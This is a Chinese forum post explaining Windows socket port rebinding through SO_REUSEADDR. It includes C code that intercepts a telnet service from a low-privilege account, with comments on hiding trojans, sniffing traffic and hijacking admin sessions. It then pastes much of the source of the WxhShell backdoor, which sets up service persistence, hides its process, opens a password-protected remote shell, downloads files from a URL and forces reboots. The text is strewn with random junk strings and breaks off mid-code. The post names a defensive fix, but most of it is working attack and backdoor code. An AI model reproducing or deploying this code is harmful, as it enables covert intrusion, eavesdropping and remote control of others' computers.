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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: )(h&Q? Ar  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); _`bS[%CJ  
Y<p zy8z  
  saddr.sin_family = AF_INET; 1DEO3p  
|8&-66pX  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); !X5o7b)  
\LIy:$`8  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ~In{lQ[QX  
$ZQl IJZ  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 {l0,T0  
Sk8%(JD7  
  这意味着什么?意味着可以进行如下的攻击: Dk)@>l:gI,  
$.oOG"u0]  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 y#b;uDY  
-M"IVyy@  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) i Td-n9  
7<h.KZPc  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 HA$Y1}  
oJP< 'l1  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  \Os:6U=X-  
>j&1?M2C  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 !+m@AQ:,  
OI~}e,[2z  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 3H1Pp*PH  
}C=Quy%Z<  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ( FM4 ^#6  
fucUwf\_  
  #include ?sV[MsOsC  
  #include |kId8WtA  
  #include Xa4GqV9M/-  
  #include    ;xL67e%?  
  DWORD WINAPI ClientThread(LPVOID lpParam);   SEYGy+#K  
  int main() .FuA;:@%\  
  { ,,S9$@R  
  WORD wVersionRequested; llNXQlP\B  
  DWORD ret; [u[ U_g*  
  WSADATA wsaData; d&hD[v  
  BOOL val; H\ 3M  
  SOCKADDR_IN saddr; _Aa[?2 O  
  SOCKADDR_IN scaddr; qc3~cH.@  
  int err; p:B ]Ft  
  SOCKET s; F@9Y\. ,  
  SOCKET sc; +Z ><  
  int caddsize; 3 :UA<&=s  
  HANDLE mt; M^uU4My  
  DWORD tid;   (s0 88O  
  wVersionRequested = MAKEWORD( 2, 2 ); Y:wF5pp;  
  err = WSAStartup( wVersionRequested, &wsaData ); qh$X^%g  
  if ( err != 0 ) { Lj iI+NJ  
  printf("error!WSAStartup failed!\n"); w$b~x4y%  
  return -1; 90p3V\LO  
  } r]0(qg  
  saddr.sin_family = AF_INET; }hCaNQ&jH  
   8hZwQ[hr  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 or7pJy%4"  
P])L8zK  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); H-Pq!9[DB  
  saddr.sin_port = htons(23); i *B:El1  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) :Dayv6g  
  { [.a;L">  
  printf("error!socket failed!\n"); b~j~  
  return -1; QNb>rLj52  
  } z>|)ieL  
  val = TRUE; { UOhVJy  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 *2=W5LaK.  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) \e|U9;Mf  
  { HVGr-/  
  printf("error!setsockopt failed!\n"); #d% vT!Bz~  
  return -1; .EG* +,  
  } x{Sd P$  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; gfm;xT/y  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 b_l3+'#ofM  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 $3 4j6;oN  
5U~OP  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) HlPG3LD!  
  { >t0%?wj)Y  
  ret=GetLastError(); yb?{LL-uy  
  printf("error!bind failed!\n"); ]\BUoQ7I/  
  return -1; a.DX%C /5  
  } 69/?7r  
  listen(s,2); (zC   
  while(1) t:=k)B  
  { H_Os4}  
  caddsize = sizeof(scaddr); Yx),6C3  
  //接受连接请求 $/paEn"  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); _88QgThb  
  if(sc!=INVALID_SOCKET) Y\p $SN  
  { FsY(02  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); @!<d0_dnC  
  if(mt==NULL) V&[eSVY?  
  {  U(~U!O}  
  printf("Thread Creat Failed!\n"); (a }J$:  
  break; 9 mPIykAj8  
  } x@m<Ym-  
  } xnbsg!`;7W  
  CloseHandle(mt); $KX[Zu%  
  } 7~b!4x|Z  
  closesocket(s); x2k*| =$  
  WSACleanup(); eh<rRx"[  
  return 0; *QH[,F`I  
  }   +9[SVw8  
  DWORD WINAPI ClientThread(LPVOID lpParam) hH`Jb7 7L  
  { TsHF tj9S  
  SOCKET ss = (SOCKET)lpParam; 0^#DNq*NQ  
  SOCKET sc; -=)-sm'  
  unsigned char buf[4096]; M&y5AB0  
  SOCKADDR_IN saddr; \A<v=VM|  
  long num; XlkGjjW#/J  
  DWORD val; ntGq" o  
  DWORD ret; P^[/Qi}j  
  //如果是隐藏端口应用的话,可以在此处加一些判断 eN/G i<  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   1h=D4yN  
  saddr.sin_family = AF_INET; YH\j@ ^n  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); {Q~7M$  
  saddr.sin_port = htons(23); 7>n"}8i  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) <m-.aK{9  
  { UFENy."P  
  printf("error!socket failed!\n"); t1ze-Ht;  
  return -1; jG D%r~lN  
  } E>pVn2|  
  val = 100; Yc`<S   
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) wsnK3tM7-  
  { oT&m4I  
  ret = GetLastError(); %fhNxR  
  return -1; 3nFt1E   
  } ;7rv  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) o\6iq  
  { [B9;?G  
  ret = GetLastError();  t;47(U  
  return -1; #C*&R>IvY  
  } ]ii+S"U3  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) u) *Kws  
  { R1%y]]*-P  
  printf("error!socket connect failed!\n"); .y):Rh^  
  closesocket(sc); AK2WN#u@Z  
  closesocket(ss); n29(!10Px  
  return -1; js <Ww$zFW  
  } *Km7U-BG  
  while(1) =u|~ <zQw  
  { MFwO9"<A  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 &88oB6$D^q  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 >n$ !<  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 _H\<[-l  
  num = recv(ss,buf,4096,0); QxpKX_@Q5  
  if(num>0) O4Dr ]Xc]  
  send(sc,buf,num,0); \:&@;!a  
  else if(num==0) \Tm}mAvK/o  
  break; |y1;&<  
  num = recv(sc,buf,4096,0); 91d }, Mq:  
  if(num>0) ;n*J$B  
  send(ss,buf,num,0); {a "RXa  
  else if(num==0) BHr|.9g]%%  
  break; MR;X&Up6!  
  } LwdV3vb#  
  closesocket(ss); }5bM1h#z  
  closesocket(sc); JwP:2-o  
  return 0 ; i_l+:/+G+  
  } t9u|iTY f!  
4#BRx#\O  
}ug xN0  
========================================================== m5-9yQ=.  
\:/Lc{*}MD  
下边附上一个代码,,WXhSHELL .v])S}K  
ISNcswN#  
========================================================== (S9f/i ^  
jw>h k  
#include "stdafx.h" yrr) y  
ct n, ]ld  
#include <stdio.h> n-afDV  
#include <string.h> K&_Uk548  
#include <windows.h> AW8'RfC.  
#include <winsock2.h> t;O1IMF  
#include <winsvc.h> 658^"]Rk'/  
#include <urlmon.h> I1=(. *B}  
MXZ>"G  
#pragma comment (lib, "Ws2_32.lib") 8q^o.+9  
#pragma comment (lib, "urlmon.lib") r<R4 1Fz  
w{,4rk;Hr  
#define MAX_USER   100 // 最大客户端连接数 }31Z X  
#define BUF_SOCK   200 // sock buffer &m'kI  
#define KEY_BUFF   255 // 输入 buffer zG9|K  
?IhB-fd>@  
#define REBOOT     0   // 重启 Sc$UZ/qPT  
#define SHUTDOWN   1   // 关机 " ;NRzY  
-$-8W  
#define DEF_PORT   5000 // 监听端口 ~~qWI>. 4  
Pq p *  
#define REG_LEN     16   // 注册表键长度 w"zE_9I\  
#define SVC_LEN     80   // NT服务名长度 =$^MQ\S0p  
Ew,T5GG  
// 从dll定义API fZN><3MO>  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); E4oz|2!m  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); m&Yi!7@(  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); jai|/"HSXw  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ;_"U "?h_J  
+c$I&JO  
// wxhshell配置信息 #@f[bP}a  
struct WSCFG { wWjG JvJ  
  int ws_port;         // 监听端口 m7jA ,~O  
  char ws_passstr[REG_LEN]; // 口令 oy\B;aAK  
  int ws_autoins;       // 安装标记, 1=yes 0=no H3KTir"on  
  char ws_regname[REG_LEN]; // 注册表键名 nHst/5dA  
  char ws_svcname[REG_LEN]; // 服务名 < n?=|g  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 cy3Td28,  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 EbK0j?  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 &t}?2>:  
int ws_downexe;       // 下载执行标记, 1=yes 0=no \~DM   
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" gPXa>C  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 2U$"=:Cf  
k&6I f0i  
}; 2}WDw>V  
{ERMGd6Jp  
// default Wxhshell configuration ZFn(x*L  
struct WSCFG wscfg={DEF_PORT, 0Y+FRB ]u  
    "xuhuanlingzhe", ${r[!0|   
    1, /n{1o\  
    "Wxhshell", `=)2<Ca;~@  
    "Wxhshell", r@}bDkx  
            "WxhShell Service", xyeA  2Y  
    "Wrsky Windows CmdShell Service", 4g` jd  
    "Please Input Your Password: ", )N !>=  
  1, zF&=U`v  
  "http://www.wrsky.com/wxhshell.exe", N|Cs=-+  
  "Wxhshell.exe" WlwY <)  
    }; 5W? PCOh\  
>FF5x#^&c  
// 消息定义模块 !!,0'c  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; w4};q%OBj  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 1,t)3;o$  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; _M5%V>HO  
char *msg_ws_ext="\n\rExit."; R= 5 **  
char *msg_ws_end="\n\rQuit."; -j2 (R?a  
char *msg_ws_boot="\n\rReboot..."; -K %5(Eg  
char *msg_ws_poff="\n\rShutdown..."; \OwpD,'  
char *msg_ws_down="\n\rSave to "; v/Pw9j!r;m  
<PD?f/4 /  
char *msg_ws_err="\n\rErr!"; 2& LQg=O  
char *msg_ws_ok="\n\rOK!"; aMuVqZw  
}SfbCa)UO  
char ExeFile[MAX_PATH]; blt'={Z?.x  
int nUser = 0; (/{aJV  
HANDLE handles[MAX_USER]; z~oDWANP  
int OsIsNt; 4 gBp8*2  
>)nS2b OE  
SERVICE_STATUS       serviceStatus; t;q7t!sC]  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; nvq3*  
JMa3btLy(  
// 函数声明 V%ii3  
int Install(void); "M H6fF  
int Uninstall(void); Qyh/ed/  
int DownloadFile(char *sURL, SOCKET wsh); UE0$ o?  
int Boot(int flag); |zsbW9 W*m  
void HideProc(void); 7=}F{U  
int GetOsVer(void); 2.I^Xf2  
int Wxhshell(SOCKET wsl); &9[P-w;7u  
void TalkWithClient(void *cs); nD6G  
int CmdShell(SOCKET sock); RYR-K^;R  
int StartFromService(void); y-aRXF=W  
int StartWxhshell(LPSTR lpCmdLine); W<b-r^9?s  
]ya; v '  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); RrV>r<Z"Q  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 'S4)?Z  
'0aG N<c  
// 数据结构和表定义 }d Ad$^  
SERVICE_TABLE_ENTRY DispatchTable[] = K?.e|  
{ U>qHn'M  
{wscfg.ws_svcname, NTServiceMain}, ODw`E9  
{NULL, NULL} h1D?=M\9  
}; 2)0b2QbQ  
|`rJJFA  
// 自我安装 j]4,<ppWSH  
int Install(void) eny/ fm  
{ Ve 3 ;  
  char svExeFile[MAX_PATH]; n(ir[w#,]"  
  HKEY key; EMvHFu   
  strcpy(svExeFile,ExeFile); ~Qj}ijWD  
HTjkR*E  
// 如果是win9x系统,修改注册表设为自启动 B|Wk?w.{r\  
if(!OsIsNt) { :3ZYJW1  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { b'p4wE>  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); "jg@w%~  
  RegCloseKey(key); +b$S~0n   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 47By`Jh71  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); T2'RATfG  
  RegCloseKey(key); 8G^<[`.@j  
  return 0; 7{kP}?  
    }  ht97s  
  } %/9;ZV  
} R`'1t3p0i  
else { 0JyVNuHn  
k-LEI}h  
// 如果是NT以上系统,安装为系统服务 D)$8 W[  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 0DPxW8Y-`  
if (schSCManager!=0) x34f9! 't  
{ b0<o  
  SC_HANDLE schService = CreateService s<QkDERMX  
  ( ;iYff N  
  schSCManager, "eAy^,  
  wscfg.ws_svcname, W_YY#wf_  
  wscfg.ws_svcdisp, G7LIdn=  
  SERVICE_ALL_ACCESS, zU5Hb2a  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ^_+XDO  
  SERVICE_AUTO_START, 8AFczeg[[  
  SERVICE_ERROR_NORMAL, []kN16F  
  svExeFile, 9]'&RyH=#  
  NULL, =^DLywAh}u  
  NULL, T? ,P*l  
  NULL, 95W?{> @  
  NULL, \Gp*x\<^Z  
  NULL hcCp,b  
  ); csZ c|kDI  
  if (schService!=0) xJ8%<RR!t  
  { q%YV$$c   
  CloseServiceHandle(schService); KDP H6  
  CloseServiceHandle(schSCManager); yCz|{=7"j  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ~ Hy,7  
  strcat(svExeFile,wscfg.ws_svcname);  :nY 2O  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Y4.Eq+$gh  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); [/ M^[p  
  RegCloseKey(key); 8|?LN8rp  
  return 0; sJx+8 -  
    } 0IkM  
  } %qf  V+^  
  CloseServiceHandle(schSCManager); 6vKS".4C  
} aolN<u3G  
} 1j-te-}"c  
^ZDBO/  
return 1; \G@wp5  
} |R/.r_x,V?  
'J)2g"T@  
// 自我卸载 qml2XJ>  
int Uninstall(void) ,Tagj`@bHc  
{ 1nknSw#  
  HKEY key; :G w~7v_  
d5 Edu44  
if(!OsIsNt) { /Dt d#OAdr  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { RC#C\S6  
  RegDeleteValue(key,wscfg.ws_regname); zh I#f0c  
  RegCloseKey(key); ikBYd }5  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { )D-c]+yt  
  RegDeleteValue(key,wscfg.ws_regname); C Wo1.pVw  
  RegCloseKey(key); P>Euq'ajX  
  return 0; W/ay.I  
  } %?C8mA'w  
} 3Ug  
} 6 9y;`15  
else { S{Hx]\  
gy: %l  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); g.JN_t5  
if (schSCManager!=0) x"P);su  
{ ?rX]x8iP  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); HS>f1!  
  if (schService!=0) X@)z80  
  { C`jM0Q  
  if(DeleteService(schService)!=0) { ;^Sr"v6r>u  
  CloseServiceHandle(schService); (m[bWdANnW  
  CloseServiceHandle(schSCManager); M@1r:4CoKH  
  return 0; vR6Bn  
  } k^ F@X  
  CloseServiceHandle(schService); 2f`nMW  
  } YT/kC'A  
  CloseServiceHandle(schSCManager); PYRd] %X  
} ^I6^g  
} zjL.Bhiud  
^ &/G|  
return 1; f&,{XZ  
} ]&~]#vB#  
iJxQB\x  
// 从指定url下载文件 g$:Xuw1  
int DownloadFile(char *sURL, SOCKET wsh) m4E)qCvy  
{ 88"Sai  
  HRESULT hr; 3=Ec "  
char seps[]= "/"; <mMTD8Sx]  
char *token; P|2E2=G  
char *file; %Pqk63QF  
char myURL[MAX_PATH]; j;_c+w!P  
char myFILE[MAX_PATH]; Q zZ;Ob]'  
Z4$cyL'$P  
strcpy(myURL,sURL); [ =x s4=  
  token=strtok(myURL,seps); Rv,JU6>i  
  while(token!=NULL) I V%VU  
  { )Rat0$6  
    file=token; 8n BL\{'B[  
  token=strtok(NULL,seps); Ioy  
  } 4Tc&IwR  
Zc |/{$>:W  
GetCurrentDirectory(MAX_PATH,myFILE); @4(k(  
strcat(myFILE, "\\"); d%I" /8-J  
strcat(myFILE, file); }0`nvAf  
  send(wsh,myFILE,strlen(myFILE),0); b*fgv9Kh'  
send(wsh,"...",3,0); [+ *$\  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); /WV7gO&L1  
  if(hr==S_OK) >R{qESmP=  
return 0; 1 Q-bYJG  
else 8l?piig#  
return 1; B<8N96fx  
I-]>d;4.  
} *rZ^^`4R  
^ 5VK>  
// 系统电源模块 GhY1k";  
int Boot(int flag) kL7#W9  
{ dUgrKDNyA  
  HANDLE hToken; Uq_j\A;c  
  TOKEN_PRIVILEGES tkp; V~ ~=Qp+.  
Ogt]_  
  if(OsIsNt) { !{n<K:x1  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 6J~12TU,  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);  HBys  
    tkp.PrivilegeCount = 1; 22<0DhJ  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ?.c;oS|  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); +#b:d=v!  
if(flag==REBOOT) { `s '#  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) t&5%?QyM  
  return 0; be5,U\&z  
} +(O~]Q-Ez  
else { SYeadsvF  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) )5JU:jNy  
  return 0; kpbm4t  
} fl Jp4-nx  
  } L{l6Dd43q  
  else { ~A<H9Bw  
if(flag==REBOOT) { xR"M*%{@0  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) =Cv/Y%DN  
  return 0; o]{uc,  
} PN~@  
else { S.B<pj gt  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) $qF0ltUQ  
  return 0; t:JI!DR  
} {ng"=3+n  
} 4`Nt{  
vvB(r!  
return 1; ;TcvA  
} /sR%]q |L  
j` E +qk  
// win9x进程隐藏模块 sC00un%  
void HideProc(void) S~qZr  
{ obK*rdg ,  
9p 4"r^  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Obw?_@X  
  if ( hKernel != NULL ) % |q0-x  
  { G>YAJ o  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); (vR 9H(#  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); a</D_66  
    FreeLibrary(hKernel); ?Y:x[pOe  
  } \^1+U JU  
L.xZ_ 6  
return; _<$>*i R  
} krq/7|  
Z'^U ad6  
// 获取操作系统版本 ?::NO Dg  
int GetOsVer(void) x# ~ x;)  
{ %pu Lr'Y  
  OSVERSIONINFO winfo; %or,{mmiM:  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ,1q_pep~?%  
  GetVersionEx(&winfo); _qvK*nE  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) GN#<yv$av  
  return 1; "I;C;}!  
  else o01kYBD  
  return 0; >$gG/WD?KR  
} c4e_6=Iv  
c8)/:xxl  
// 客户端句柄模块 *O:r7_ Y0  
int Wxhshell(SOCKET wsl) :ztr)  
{ h@7FY  
  SOCKET wsh; ?^' 7+8C*J  
  struct sockaddr_in client; $&|y<Y=  
  DWORD myID; 2LCB])X  
M)?dEgU}M  
  while(nUser<MAX_USER) ~mV"i7VX  
{ g#NZ ,~  
  int nSize=sizeof(client); 0Q"u#V Sp  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); @L84>3O  
  if(wsh==INVALID_SOCKET) return 1; #6+ FY+/  
rA0,`}8\  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); N-lGa@ j  
if(handles[nUser]==0) NRnRMY-  
  closesocket(wsh); 0U66y6  
else )PkNWj6%y  
  nUser++; Xf =XBoN|  
  } H-rWDN#  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); |6J ?8y  
PI A)d-Z  
  return 0; 4vK8kkW1  
} GwsY-jf  
HhA -[p  
// 关闭 socket y`e4;*1  
void CloseIt(SOCKET wsh) f0+2t.tj  
{ A]`El8_t"  
closesocket(wsh); })vOaYT|-  
nUser--; !.7udYmB  
ExitThread(0); @/ J [t  
} `&M{cfp_  
2Zuq?1=  
// 客户端请求句柄 ,O1O8TwUB0  
void TalkWithClient(void *cs) m,3er*t{  
{ <0|9Tn2O  
z!=P@b  
  SOCKET wsh=(SOCKET)cs; _ |<d5TI  
  char pwd[SVC_LEN]; J )BI:]m  
  char cmd[KEY_BUFF]; -@^Zq}  
char chr[1]; (VyNvB  
int i,j; v8>v.}y  
->-*]-fv[L  
  while (nUser < MAX_USER) { `Yc _5&"  
YF#H Sf7  
if(wscfg.ws_passstr) { F0~k1TDw  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); g1(Xg.  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); JGiKBm;  
  //ZeroMemory(pwd,KEY_BUFF); #Z=tJ  
      i=0; ||2Q~*:  
  while(i<SVC_LEN) { hf!|\f  
qv 3^5 d  
  // 设置超时 <Y 4:'L6  
  fd_set FdRead; >-T`0wI  
  struct timeval TimeOut; *, Ld/O;s  
  FD_ZERO(&FdRead);  (dJI_A  
  FD_SET(wsh,&FdRead); N\t1T(C|  
  TimeOut.tv_sec=8; >YW\~T  
  TimeOut.tv_usec=0; Auy".br'  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); '2J0>Bla  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); /4=-b_2Y~  
C`oa3B,z  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); si1*Wt<3Bc  
  pwd=chr[0]; _\5~>g_  
  if(chr[0]==0xd || chr[0]==0xa) { 71FeDpe  
  pwd=0; 6XEZ4QP}  
  break; fi PIAT}  
  } G" b60RQ  
  i++; O@8pC+#`Z  
    } 7k{2Upg;  
[}nK"4T"Ri  
  // 如果是非法用户,关闭 socket m:tiY [c>W  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); b yg0.+e0  
} kg5ev8  
RR1A65B  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); J}spiVM  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Pvo#pY^dXX  
rt]S\  
while(1) { oqkVYlE  
c"YXxA J  
  ZeroMemory(cmd,KEY_BUFF); I"L;L?\S  
s}M= oe  
      // 自动支持客户端 telnet标准   cl[!`Z  
  j=0; #~:P}<h  
  while(j<KEY_BUFF) { KcGsMPJ  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); wn +FTqj  
  cmd[j]=chr[0]; BJjx|VA+  
  if(chr[0]==0xa || chr[0]==0xd) { ClW'W#*(Y  
  cmd[j]=0; 2)iD4G`  
  break; uE_c4Hp  
  } .r|*Ch#;P  
  j++; (Ha@s^?.C  
    } 4C_c\;d  
_cJ[ FP1  
  // 下载文件 9~AWng  
  if(strstr(cmd,"http://")) { /  YiQ\  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); _68BP)nz>.  
  if(DownloadFile(cmd,wsh)) 4Wel[]  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); U SOKDDm  
  else yFIy`9R  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6y+b5-{'  
  } wjU.W5IR  
  else {  ~m=EM;  
I\P Bu$Ww  
    switch(cmd[0]) { 2F_ R/{D  
  ?v]-^X=&  
  // 帮助 rp! LP#*  
  case '?': { E,G<_40  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ;#?M)o:q  
    break; ucYkxi`x  
  } IxSV?k   
  // 安装 >X}{BDMb.  
  case 'i': { u/^|XOy  
    if(Install()) )-P!Ae_.v  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); n"{X!(RIcx  
    else kka"C]!  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <zfe }0  
    break; R zR?&J  
    } +`en{$%%  
  // 卸载 wJ"ev.A)  
  case 'r': { }Ag|gF!_  
    if(Uninstall()) AMlV%U#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1IH[g*f  
    else </oY4$l'  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _uH9XGm  
    break; G"s0GpvQ  
    } 7| YrdK<  
  // 显示 wxhshell 所在路径 /"AvOh*  
  case 'p': { K!{5 [G  
    char svExeFile[MAX_PATH]; wvc>0?t'  
    strcpy(svExeFile,"\n\r"); '8Wv.X0`  
      strcat(svExeFile,ExeFile); _."E%|5  
        send(wsh,svExeFile,strlen(svExeFile),0); ,TC~~EWq  
    break; y>o>WN<q  
    } $%qg"  
  // 重启 QEJGnl676  
  case 'b': { E:A!wS`"  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); IhonnLLW  
    if(Boot(REBOOT)) L ^Y3=1#"g  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); DQ6jT@ZDH  
    else { a0_(eO-S  
    closesocket(wsh); )*1.eObhL  
    ExitThread(0); ksI>IW  
    } #!#z5DJu  
    break; "e62/Ejg%  
    } 9BON.` |_  
  // 关机 90:K#nW;  
  case 'd': { tm)*2lH6  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); :X>DkRP  
